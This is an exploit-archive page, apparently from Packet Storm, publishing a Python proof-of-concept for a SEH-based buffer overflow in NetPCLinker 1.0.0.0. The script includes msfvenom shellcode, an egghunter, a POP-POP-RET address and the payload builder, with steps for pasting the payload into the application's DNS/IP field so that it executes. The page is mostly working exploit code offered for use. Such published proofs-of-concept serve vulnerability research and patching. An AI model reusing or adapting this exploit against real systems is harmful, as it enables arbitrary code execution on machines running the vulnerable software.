exploit the possibilities

NetPCLinker 1.0.0.0 Buffer Overflow

NetPCLinker 1.0.0.0 Buffer Overflow
Posted Jun 29, 2020
Authored by Saeed reza Zamanian

NetPCLinker version 1.0.0.0 SEH with egghunter shellcode buffer overflow exploit.

tags | exploit, overflow, shellcode
MD5 | e76e96a4dcb2e6ca5a001536d6231df6

NetPCLinker 1.0.0.0 Buffer Overflow

Change Mirror Download
#!/usr/bin/python
# Exploit Title: NetPCLinker 1.0.0.0 Buffer Overflow (SEH Egghunter)
# Date: 2019-06-28
# Exploit Author: Saeed reza Zamanian
# Vendor Homepage: https://sourceforge.net/projects/netpclinker/
# Software Link: https://sourceforge.net/projects/netpclinker/files/
# Version: 1.0.0.0
# Tested on: Windows Vista SP1
'''
# Replicate Crash:
1) Install and Run the application
2) Go to second tab "Clients Control Panel"
3) Press Add button
4) Run the exploit , the exploit creates a text file named payload.txt
5) Copy payload.txt contents into the add client dialog , "DNS/IP" field
6) Press OK . Your shellcode will be executed by pressing OK button.

'''

#msfvenom -p windows/exec CMD=calc -f c -b "\x00\x0a\x0d\x33\x35\x36"
#Bad Characters : \x0a\x0d\x33\x35\x36

shellcode = (
"\xdb\xc4\xd9\x74\x24\xf4\x5b\xbe\x9a\x32\x43\xd2\x31\xc9\xb1"
"\x30\x83\xc3\x04\x31\x73\x14\x03\x73\x8e\xd0\xb6\x2e\x46\x96"
"\x39\xcf\x96\xf7\xb0\x2a\xa7\x37\xa6\x3f\x97\x87\xac\x12\x1b"
"\x63\xe0\x86\xa8\x01\x2d\xa8\x19\xaf\x0b\x87\x9a\x9c\x68\x86"
"\x18\xdf\xbc\x68\x21\x10\xb1\x69\x66\x4d\x38\x3b\x3f\x19\xef"
"\xac\x34\x57\x2c\x46\x06\x79\x34\xbb\xde\x78\x15\x6a\x55\x23"
"\xb5\x8c\xba\x5f\xfc\x96\xdf\x5a\xb6\x2d\x2b\x10\x49\xe4\x62"
"\xd9\xe6\xc9\x4b\x28\xf6\x0e\x6b\xd3\x8d\x66\x88\x6e\x96\xbc"
"\xf3\xb4\x13\x27\x53\x3e\x83\x83\x62\x93\x52\x47\x68\x58\x10"
"\x0f\x6c\x5f\xf5\x3b\x88\xd4\xf8\xeb\x19\xae\xde\x2f\x42\x74"
"\x7e\x69\x2e\xdb\x7f\x69\x91\x84\x25\xe1\x3f\xd0\x57\xa8\x55"
"\x27\xe5\xd6\x1b\x27\xf5\xd8\x0b\x40\xc4\x53\xc4\x17\xd9\xb1"
"\xa1\xe8\x93\x98\x83\x60\x7a\x49\x96\xec\x7d\xa7\xd4\x08\xfe"
"\x42\xa4\xee\x1e\x27\xa1\xab\x98\xdb\xdb\xa4\x4c\xdc\x48\xc4"
"\x44\xbf\x0f\x56\x04\x40"
)

egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x52\x65\x7a\x61\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
nSEH = '\xEB\xAA\x90\x90' #Jump Back

# (Vista)
# PPR(ecx) : 0x00494b67 : startnull,asciiprint,ascii,alphanum {PAGE_EXECUTE_READ} [NPL.exe]
# ASLR: False, Rebase: False, SafeSEH: False, OS: False, v1.0.0.0 (C:\Program Files\NetPCLinker\NPL.exe)

SEH = '\x67\x4b\x49'
offset = "RezaReza"+shellcode +'\x41'*(1199-8-len(shellcode)-len(egghunter)-50)

payload = offset+egghunter+"\x90"*50+nSEH+SEH

try:
f=open("payload.txt","w")
print("[+] Creating %s bytes payload." %len(payload))
f.write(payload)
f.close()
print("[+] File created!")
except:
print("File cannot be created.")
Login or Register to add favorites

File Archive:

July 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    15 Files
  • 2
    Jul 2nd
    19 Files
  • 3
    Jul 3rd
    12 Files
  • 4
    Jul 4th
    1 Files
  • 5
    Jul 5th
    2 Files
  • 6
    Jul 6th
    25 Files
  • 7
    Jul 7th
    35 Files
  • 8
    Jul 8th
    4 Files
  • 9
    Jul 9th
    9 Files
  • 10
    Jul 10th
    7 Files
  • 11
    Jul 11th
    4 Files
  • 12
    Jul 12th
    4 Files
  • 13
    Jul 13th
    14 Files
  • 14
    Jul 14th
    17 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close